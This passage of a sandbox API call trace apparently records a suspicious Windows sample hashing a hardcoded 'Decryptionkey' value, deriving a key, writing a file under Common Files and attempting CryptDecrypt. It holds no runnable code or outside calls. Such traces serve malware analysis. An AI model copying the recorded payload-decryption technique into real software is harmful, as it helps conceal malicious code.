lpPoint=0xa96acaf3c0) returned 1 [0044.367] GetAsyncKeyState (vKey=1) returned 0 [0044.367] GetAsyncKeyState (vKey=2) returned 0 [0044.367] PeekMessageW (in: lpMsg=0xa96acaf560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf560) returned 0 [0044.367] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0044.367] PeekMessageW (in: lpMsg=0xa96acaf240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf240) returned 0 [0044.367] PeekMessageW (in: lpMsg=0xa96acaf240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf240) returned 0 [0044.367] PeekMessageW (in: lpMsg=0xa96acaf560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf560) returned 0 [0044.367] PeekMessageW (in: lpMsg=0xa96acaf560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf560) returned 0 [0044.367] PeekMessageW (in: lpMsg=0xa96acaf560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf560) returned 0 [0044.367] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0044.367] PeekMessageW (in: lpMsg=0xa96acaf240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf240) returned 0 [0044.368] PeekMessageW (in: lpMsg=0xa96acaf240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf240) returned 0 [0044.368] PeekMessageW (in: lpMsg=0xa96acaf560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf560) returned 0 [0044.368] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.368] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.368] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.368] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0044.368] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.369] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.369] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0044.369] PeekMessageW (in: lpMsg=0xa96acaee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaee80) returned 0 [0044.369] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0044.369] PeekMessageW (in: lpMsg=0xa96acae870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acae870) returned 0 [0044.369] PeekMessageW (in: lpMsg=0xa96acaee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaee80) returned 0 [0044.369] PeekMessageW (in: lpMsg=0xa96acaee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaee80) returned 0 [0044.369] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0044.369] PeekMessageW (in: lpMsg=0xa96acaeb60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaeb60) returned 0 [0044.369] PeekMessageW (in: lpMsg=0xa96acaeb60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaeb60) returned 0 [0044.369] PeekMessageW (in: lpMsg=0xa96acaee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaee80) returned 0 [0044.369] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.370] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.370] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0044.370] PeekMessageW (in: lpMsg=0xa96acae8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acae8f0) returned 0 [0044.370] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0044.370] PeekMessageW (in: lpMsg=0xa96acae8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acae8f0) returned 0 [0044.370] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0044.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0044.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0xa96aefbb30, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0044.371] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptCreateHash") returned 0x7ffe2a59e85c [0044.371] CryptCreateHash (in: hProv=0xa96af2d4c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xa96acae980 | out: phHash=0xa96acae980) returned 1 [0044.373] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.373] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.373] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.373] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Decryptionkey", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0044.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Decryptionkey", cchWideChar=14, lpMultiByteStr=0xa96aefbdb0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Decryptionkey", lpUsedDefaultChar=0x0) returned 14 [0044.373] CharLowerBuffW (in: lpsz="byte[13]", cchLength=0x8 | out: lpsz="byte[13]") returned 0x8 [0044.373] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.374] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.374] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0044.374] PeekMessageW (in: lpMsg=0xa96acae8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acae8f0) returned 0 [0044.374] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0044.374] CryptHashData (hHash=0xa96aed5f80, pbData=0xa96aefbcd0, dwDataLen=0xd, dwFlags=0x1) returned 1 [0044.374] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.374] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.374] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.374] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0044.374] PeekMessageW (in: lpMsg=0xa96acae8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acae8f0) returned 0 [0044.374] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0044.374] PeekMessageW (in: lpMsg=0xa96acae8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acae8f0) returned 0 [0044.374] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0044.374] CryptDeriveKey (in: hProv=0xa96af2d4c0, Algid=0x660e, hBaseData=0xa96aed5f80, dwFlags=0x1, phKey=0xa96acae980 | out: phKey=0xa96acae980*=0xa96aed55e0) returned 1 [0044.375] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.375] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.375] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.375] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.375] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.375] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0044.375] PeekMessageW (in: lpMsg=0xa96acae9e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acae9e0) returned 0 [0044.375] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0044.375] CryptDestroyHash (hHash=0xa96aed5f80) returned 1 [0044.375] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.375] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.375] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.375] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.375] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.375] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0044.376] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xa96acaf370, dwMoveMethod=0x1 | out: lpNewFilePointer=0xa96acaf370*=0) returned 1 [0044.376] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.376] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.376] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.376] GetFileAttributesW (lpFileName="C:\\PROGRA~1\\COMMON~1\\" (normalized: "c:\\progra~1\\common~1")) returned 0x10 [0044.376] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\3123635631" (normalized: "c:\\progra~1\\common~1\\3123635631"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0044.377] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.377] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.377] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.377] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.378] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xa96acaf420, dwMoveMethod=0x1 | out: lpNewFilePointer=0xa96acaf420*=0) returned 1 [0044.378] ReadFile (in: hFile=0x194, lpBuffer=0xa96af36a00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xa96acaf460, lpOverlapped=0x0 | out: lpBuffer=0xa96af36a00*, lpNumberOfBytesRead=0xa96acaf460*=0x10, lpOverlapped=0x0) returned 1 [0044.378] ReadFile (in: hFile=0x194, lpBuffer=0xa96af36a00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xa96acaf460, lpOverlapped=0x0 | out: lpBuffer=0xa96af36a00*, lpNumberOfBytesRead=0xa96acaf460*=0x0, lpOverlapped=0x0) returned 1 [0044.380] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.380] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.380] PeekMessageW (in: lpMsg=0xa96acaf880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf880) returned 0 [0044.380] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0044.382] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 1 [0044.382] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acaf1a0) returned 0 [0044.382] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acaf1a0) returned 1 [0044.382] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.382] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.383] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0044.383] PeekMessageW (in: lpMsg=0xa96acaead0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaead0) returned 0 [0044.383] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0044.383] PeekMessageW (in: lpMsg=0xa96acaead0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaead0) returned 0 [0044.383] PeekMessageW (in: lpMsg=0xa96acaead0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaead0) returned 0 [0044.383] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0044.383] PeekMessageW (in: lpMsg=0xa96acae230, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acae230) returned 0 [0044.384] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0044.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0044.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xa96aefb990, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0044.385] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0044.385] CryptGetKeyParam (in: hKey=0xa96aed55e0, dwParam=0x7, pbData=0xa96adbbd90, pdwDataLen=0xa96acae298, dwFlags=0x0 | out: pbData=0xa96adbbd90*=0x660e, pdwDataLen=0xa96acae298*=0x4) returned 1 [0044.386] PeekMessageW (in: lpMsg=0xa96acaead0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaead0) returned 0 [0044.386] PeekMessageW (in: lpMsg=0xa96acaead0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaead0) returned 0 [0044.386] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.386] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.386] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.386] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.386] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.386] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.386] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0044.386] PeekMessageW (in: lpMsg=0xa96acaee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaee80) returned 0 [0044.387] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0044.387] PeekMessageW (in: lpMsg=0xa96acae870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acae870) returned 0 [0044.387] PeekMessageW (in: lpMsg=0xa96acaee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaee80) returned 0 [0044.387] PeekMessageW (in: lpMsg=0xa96acaee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaee80) returned 0 [0044.387] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0044.387] PeekMessageW (in: lpMsg=0xa96acaeb60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaeb60) returned 0 [0044.387] PeekMessageW (in: lpMsg=0xa96acaeb60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaeb60) returned 0 [0044.387] PeekMessageW (in: lpMsg=0xa96acaee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaee80) returned 0 [0044.387] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.387] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.387] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.387] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.387] CharLowerBuffW (in: lpsz="byte[1016]", cchLength=0xa | out: lpsz="byte[1016]") returned 0xa [0044.387] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.387] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.387] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0044.387] PeekMessageW (in: lpMsg=0xa96acae8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acae8f0) returned 0 [0044.387] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0044.387] CryptDecrypt (in: hKey=0xa96aed55e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa96af332a0, pdwDataLen=0xa96acae9a8 | out: pbData=0xa96af332a0, pdwDataLen=0xa96acae9a8) returned 0 [0044.388] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.388] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.388] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.388] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.388] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.388] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.388] PeekMessageW (in: lpMsg=0xa96acaf1a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf1a0) returned 0 [0044.388] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0044.388] PeekMessageW (in: lpMsg=0xa96acaee80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaee80) returned 0 [0044.388] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0044.388] PeekMessageW (in: lpMsg=0xa96acaeb60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaeb60) returned 0 [0044.388] 